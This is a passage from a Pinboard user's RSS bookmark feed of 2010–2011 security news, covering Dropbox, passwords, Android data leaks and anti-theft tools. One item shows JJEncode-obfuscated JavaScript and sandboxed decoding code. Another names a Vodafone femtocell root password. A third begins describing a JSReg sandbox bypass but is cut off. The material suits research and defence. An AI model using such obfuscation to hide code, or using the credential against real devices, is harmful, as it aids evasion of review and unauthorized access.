	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.thespanner.co.uk/2011/08/03/decoding-non-alphanumeric-code-with-hackvertor/">
    <title>Decoding non-alphanumeric code with Hackvertor</title>
    <dc:date>2011-08-03T12:53:47+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2011/08/03/decoding-non-alphanumeric-code-with-hackvertor/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[I saw this post from Thomas Stig Jacobsen. He uses eval to decompile the code, I thought there has to be a better way   so in literally about 30 minutes I managed to do it after a few tweaks to the JSReg code base. What does non-alphanumeric JavaScript look like? 


$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())();


Produced by my friend Yosuke Hasegawa using his JJEncode. 

How the hell do you decode that Gareth? (I hear you say). Quite easily actually. First off I extend the Hackvertor environment to allow sandboxed code to call the JSReg parser. 


parser.extendWindow("$sandbox$", function(code){});


This makes “sandbox” a global function within each tag, I need to do this because I want to listen for any calls to “Function” and instead of eval’ing the results I simply want to return the string generated. To do this I add more code to the “sandbox” function to create an instance of JSReg and execute the code:-


parser.extendWindow("$sandbox$", function(code){
var js = JSReg.create(), result;
js.setDebugObjects({doNotFunctionEval:true,functionCode: function(code) {
code = code.replace("J.F();var $arguments$=J.A(arguments);",'');
result = code;
}});
try {
  js.eval(code);
} catch(e){
   return e;
}
return result;
});


So as you can see the magic happens in the debug objects of JSReg, I use the “doNotFunctionEval” to listen to Function but not eval the code sent. Then I use another listener to “functionCode” to intercept the results.

The final Hackvertor tag is dead simple:-

(function(){
    return sandbox(code);
})();


The final results can be seen here:-
Decode non-alpha please feel free to go whoa now. That’s sandboxed code calling a unsandboxed function, sending a non-alpha string, sandboxing it, listening to the results and returning the decoded code. In the blink of an eye   

Credits as always to Lever one and Jonas Magazinius for testing JSReg and making this possible.
]]></description>
<dc:subject>hackvertor javascript JSReg Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:f9bb38ae245c/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:hackvertor"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:javascript"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:JSReg"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://hackaday.com/2011/07/14/building-a-single-button-combination-lock/">
    <title>Building a single-button combination lock</title>
    <dc:date>2011-07-14T21:01:13+00:00</dc:date>
    <link>http://hackaday.com/2011/07/14/building-a-single-button-combination-lock/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[

[John Boxall] of Little Bird Electronics was thinking about combination locks, and how one might improve or at least change the way these locks work. Traditional combo locks can be implemented in a variety of ways, most of which we are all familiar with. Standard rotary padlock and keypad-based electronic safes work just fine, but he was interested to see how one might implement a single button combination lock.

[John] determined that the best, if not only way, to build this sort of lock would require him to measure button press intervals. In his case he decided to monitor the intervals between his button presses instead, but the concept is the same. He first tested himself to see how accurately he could press and release the button, leaving a one-second space between presses. After looking at the results he determined that he would need to incorporate at least a 10% margin for error into his code in order to compensate for human error.

He then created an Arduino sketch to test his idea, defining a set of key press intervals that could be used to ‘unlock’ his imaginary vault. It worked quite well, as you can see in the video demo below.

Now we’re not suggesting that you lock up your mind condition My Little Pony collection or your illegal arms stash with this type of lock, but it could be useful as an extra failsafe for certain projects/gadgets that you want to keep all to yourself.



Filed under: arduino hacks, security hacks         


]]></description>
<dc:subject>arduino_hacks security_hacks arduino lock padlock security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:22063f5cf499/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:arduino_hacks"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:security_hacks"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:arduino"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:lock"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:padlock"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://hackaday.com/2011/07/14/vodafone-femtocells-hacked-root-password-revealed/">
    <title>Vodafone femtocells hacked, root password revealed</title>
    <dc:date>2011-07-14T20:01:15+00:00</dc:date>
    <link>http://hackaday.com/2011/07/14/vodafone-femtocells-hacked-root-password-revealed/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[

As phone systems have evolved over time, the desire to break them and exploit their usage continues to flourish. Just recently, [The Hacker’s Choice (THC)] announced that they had accessed secure data from Vodafone’s mobile phone network last year, via their femtocell product.

The purpose of the femtocell is to extend mobiile network coverage to locations where reception might not be ideal, routing calls to Vodafone’s network via IPSec tunnels. [THC] knew that this meant the femtocells required a high-level of interaction with the carrier’s traditional mobile network, so they started poking around to see what could be exploited.

After gaining administrative access to the femtocell itself using the root password “newsys”, they found that they were able to allow unauthorized users to utilize the service – a simple ToS violation. However, they also had the ability to force any nearby Vodafone subscriber’s phone to use their femtocell. This enabled them to request secret keys from Vodafone, which they could then use to spoof calls and SMS messages from the victim’s phone without their knowledge.

They have been kind enough to release all of the pertinent information about the hack on their wiki for any interested parties to peruse. Now we’re just wondering how long it takes before stateside carriers’ femtocells are exploited in the same fashion.

[Thanks, kresp0]

Filed under: cellphones hacks, security hacks         


]]></description>
<dc:subject>cellphones_hacks security_hacks femtocell security vodaphone</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:4643bfc6315f/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:cellphones_hacks"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:security_hacks"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:femtocell"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:vodaphone"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/q6RZhw-mJxU/how-to-set-up-a-file+syncing-dropbox-clone-you-control">
    <title>How to Set Up a File-Syncing Dropbox Clone You Control [File Syncing]</title>
    <dc:date>2011-07-14T15:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/q6RZhw-mJxU/how-to-set-up-a-file+syncing-dropbox-clone-you-control</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





File syncing is a godsend when you work on multiple computers or devices and want to make sure you have the most up-to-date files wherever you log in. While online services like Dropbox may be the most convenient options, there are plenty of reasons you may want to "roll your own cloud" and sync your files to your own web server or just on your local network. Below, we'll detail how to set up a Dropbox clone, complete with instantaneous, encrypted syncs, cloud backups, and file versioning, using cross-platform software GoodSync.More »





   
]]></description>
<dc:subject>File_Syncing dropbox Feature FTP GoodSync Privacy Security sftp synchronization Syncing Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:e60c78e1b32a/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:File_Syncing"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:dropbox"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Feature"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:FTP"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:GoodSync"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:sftp"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:synchronization"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Syncing"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/tAAOjE9lp30/should-i-be-worried-about-the-change-to-dropboxs-terms-of-service">
    <title>Should I Be Worried About Dropbox's Changing Terms of Service? [Ask Lifehacker]</title>
    <dc:date>2011-07-08T17:15:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/tAAOjE9lp30/should-i-be-worried-about-the-change-to-dropboxs-terms-of-service</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Dear Lifehacker,More »





   
]]></description>
<dc:subject>Ask_Lifehacker Digital_Rights dropbox know_your_rights Legal News Privacy Property Security terms_of_service Top Tos</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:d6f6aaa5d114/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Ask_Lifehacker"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Digital_Rights"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:dropbox"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:know_your_rights"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Legal"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:News"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Property"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:terms_of_service"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Tos"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/J8tI79oGcP0/should-i-change-my-password-quickly-checks-if-your-password-was-compromised-in-a-recent-hack">
    <title>Should I Change My Password? Quickly Checks if Your Password Was Compromised in a Recent Hack [Security]</title>
    <dc:date>2011-06-23T19:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/J8tI79oGcP0/should-i-change-my-password-quickly-checks-if-your-password-was-compromised-in-a-recent-hack</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





With many sites being compromised and user data released publicly on the web, you may have fallen victim.  Should I Change My Password? is a simple webapp can tell you if you may be at risk.More »





   
]]></description>
<dc:subject>Security online_security Password_security Passwords Privacy Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:b31fb667afc6/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:online_security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Password_security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Passwords"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/Op5lx79jx_U/dropbox-accidentally-unlocked-all-accounts-for-4-hours">
    <title>Dropbox Accidentally Unlocked All Accounts for 4 Hours [In Brief]</title>
    <dc:date>2011-06-21T01:05:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/Op5lx79jx_U/dropbox-accidentally-unlocked-all-accounts-for-4-hours</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Dropbox accidentally dropped the need for password authentication this past Sunday so anyone could log into anyone else's Dropbox account with any password—all they'd need was an email address.  This lasted four hours and, according to Dropbox, less than 1% of users were affected. Still, this is another good reason why you should add an extra layer of security to the data in your Dropbox—particularly if you're putting sensitive data in there.More »





   
]]></description>
<dc:subject>in_brief dropbox File_Sharing News Passwords Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:ed15629ffdbd/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:in_brief"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:dropbox"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:File_Sharing"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:News"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Passwords"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/4z0WOLabwsI/eset-mobile-security-for-android-puts-antivirus-antispam-anti+theft-and-system-monitoring-all-in-one-sleek-app">
    <title>ESET Mobile Security for Android Puts Antivirus, Antispam, Anti-Theft, and System Monitoring All in One Sleek App [App Of The Day]</title>
    <dc:date>2011-06-09T20:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/4z0WOLabwsI/eset-mobile-security-for-android-puts-antivirus-antispam-anti+theft-and-system-monitoring-all-in-one-sleek-app</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Android: ESET Mobile Security is a full suite of security and privacy tools rolled into one app. Full-phone antivirus and malware scanning, call/SMS/MMS blacklisting, and a host of anti-theft features are all accessible from the main screen. As if that weren't enough, the app also has built-in system monitoring functions to show you every running process along with its resource usage. The app's in beta at the moment, but it runs as smooth as it looks—and it's free.More »





   
]]></description>
<dc:subject>app_of_the_day antispam antivirus Cellphones Device_security Downloads Featured_Android_Download Mobile_Phones Phone_security Privacy Security SIM_Cards Spam Virus</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:304769611c27/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:app_of_the_day"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:antispam"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:antivirus"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Cellphones"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Device_security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Downloads"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Featured_Android_Download"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Mobile_Phones"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Phone_security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:SIM_Cards"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Spam"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Virus"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/OBrDEPsKmzc/android-data-vulnerability-how-to-protect-yourself">
    <title>Android Data Vulnerability: How to Protect Yourself [Security]</title>
    <dc:date>2011-05-17T16:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/OBrDEPsKmzc/android-data-vulnerability-how-to-protect-yourself</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





An Android personal data leakage epidemic has just been revealed. The vulnerability affects 99% of Android phones and may allow hackers to steal your Facebook, Google Calendar, or other personal data if you use a rogue open Wi-Fi network. Here's how to protect yourself.More »





   
]]></description>
<dc:subject>Security Encryption Mobile Mobile_phone Mobile_Phones Top Wi-Fi WiFi Wireless wireless_network</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:28f03800bcc1/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Encryption"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Mobile"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Mobile_phone"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Mobile_Phones"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Wi-Fi"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:WiFi"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Wireless"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:wireless_network"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/go8_GgZ3T8E/predator-locks-and-unlocks-your-pc-with-a-usb-thumb-drive">
    <title>Predator Locks and Unlocks Your PC with a USB Thumb Drive [Video]</title>
    <dc:date>2011-05-17T12:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/go8_GgZ3T8E/predator-locks-and-unlocks-your-pc-with-a-usb-thumb-drive</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





 Windows only: If you're sick of locking your computer and entering your password every time you come back to it, Predator will ease the process by using a thumb drive as a "key" that instantly locks and unlocks your computer.More »





   
]]></description>
<dc:subject>Download_of_the_Day Clips Featured_Windows_Download Lifehacker_Video Privacy Security Thumb_Drives USB Windows</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:dbd642b3d243/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Download_of_the_Day"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Clips"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Featured_Windows_Download"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Lifehacker_Video"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Thumb_Drives"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:USB"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Windows"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/4a7725lsMy0/is-the-data-on-my-androids-memory-card-safe-if-its-lost-or-stolen">
    <title>Is the Data on My Android's Memory Card Safe If It's Lost or Stolen? [Ask Lifehacker]</title>
    <dc:date>2011-05-16T17:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/4a7725lsMy0/is-the-data-on-my-androids-memory-card-safe-if-its-lost-or-stolen</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Dear Lifehacker,More »





   
]]></description>
<dc:subject>Ask_Lifehacker Android Cellphone Device_security Encryption Memory_Card mobile_device Mobile_phone Privacy Removable_Storage SD_Card Security Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:cf9055fee403/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Ask_Lifehacker"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Android"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Cellphone"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Device_security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Encryption"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Memory_Card"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:mobile_device"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Mobile_phone"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Removable_Storage"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:SD_Card"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.infoworld.com/t/data-security/symantec-change-your-facebook-password-now-692?source=rss_security">
    <title>Symantec: Change your Facebook password now</title>
    <dc:date>2011-05-10T20:40:08+00:00</dc:date>
    <link>http://www.infoworld.com/t/data-security/symantec-change-your-facebook-password-now-692?source=rss_security</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[Symantec today warned that advertisers, analytic platforms, and other third parties may be able to access Facebook users' personal information using inadvertently leaked application tokens.
]]></description>
<dc:subject>Applications Security Facebook Data_Security Social_Networking Password_Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:5ceb907edef2/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Applications"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Facebook"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Data_Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Social_Networking"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Password_Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/xfkTGJskhEY/use-dropbox-to-get-back-your-stolen-computer">
    <title>Use Dropbox to Locate Your Lost or Stolen Computer [Theft]</title>
    <dc:date>2011-03-24T22:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/xfkTGJskhEY/use-dropbox-to-get-back-your-stolen-computer</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





If you've put off installing anti-theft software like Prey for so long that your laptop gets stolen before you get a chance, Consumerist reader Ryan notes that Dropbox can actually help you locate your missing computer.More »





   
]]></description>
<dc:subject>Theft Clever_Uses dropbox Laptop Laptop_recovery Security Stolen_Laptop</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:07483bdadb07/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Theft"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Clever_Uses"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:dropbox"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Laptop"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Laptop_recovery"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Stolen_Laptop"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/IIWb31GSu_E/sign-me-out-helps-you-track-unauthorized-access-to-your-gmail-and-facebook-accounts">
    <title>Sign Me Out Helps You Track Unauthorized Access to Your Gmail and Facebook Accounts [Downloads]</title>
    <dc:date>2011-03-24T17:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/IIWb31GSu_E/sign-me-out-helps-you-track-unauthorized-access-to-your-gmail-and-facebook-accounts</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





iOS: Sign Me Out is a helpful iOS app that'll let you remotely check up on your Gmail and Facebook accounts to see if you're signed in from any other locations.  If you are, you can click a big red sign me out button to disconnect a potentially unauthorized user.More »





   
]]></description>
<dc:subject>Downloads Email Facebook Gmail Google ios ipad iPhone ipod_touch Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:bd8fb20df816/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Downloads"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Email"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Facebook"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Gmail"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Google"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:ios"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:ipad"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:iPhone"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:ipod_touch"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.infoworld.com/d/security/emc-rsa-securid-info-swiped-sophisticated-hack-attack-917?source=rss_security">
    <title>EMC: RSA SecurID info swiped via sophisticated hack attack</title>
    <dc:date>2011-03-17T23:23:58+00:00</dc:date>
    <link>http://www.infoworld.com/d/security/emc-rsa-securid-info-swiped-sophisticated-hack-attack-917?source=rss_security</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[EMC issued a warning today that hackers have stolen information about its RSA SecurID two-factor authentication that could be used by cybercriminals to more easily breach customers' systems,
]]></description>
<dc:subject>Security EMC Cyber_Crime Hacking</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:63faab80446d/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:EMC"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Cyber_Crime"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Hacking"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/JhwZzO8GNyo/use-ninite-and-task-scheduler-to-keep-relatives-computers-up-to-date">
    <title>Use Ninite and Task Scheduler to Keep Relatives' Computers Up to Date [Automation]</title>
    <dc:date>2010-11-30T09:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/JhwZzO8GNyo/use-ninite-and-task-scheduler-to-keep-relatives-computers-up-to-date</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Some people avoid any and all update notices—and you can't always blame them, given how many occur on the average computer. Reader Andrew Chandler suggests fixing their ignoring ways with the no-fuss Ninite installer and Task Scheduler automation.More »





   
]]></description>
<dc:subject>Automation Installation Installers ninite Republished Security Top Windows</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:c94ff09c9fef/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Automation"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Installation"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Installers"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:ninite"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Republished"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Windows"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.thespanner.co.uk/2010/10/31/jsreg-bypasses/">
    <title>JSReg bypasses</title>
    <dc:date>2010-10-31T14:54:27+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2010/10/31/jsreg-bypasses/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[I set a cool Hackvertor challenge on slackers. The idea was to call the function defined in window. There is a perfectly legitimate way of doing this as I discovered the method when I was testing it, instead of fixing it I created the challenge. Stefano Di Paola of course figured it out, nice work   however something happened that I wasn’t expecting, Soroush Dalili solved the challenge by breaking the sandbox instead! Not just once may I add but twice. This was really awesome on a number of levels and so I awarded him 2000 HV points. I was impressed.

Bypass 1 – RegEx rewrite error

;
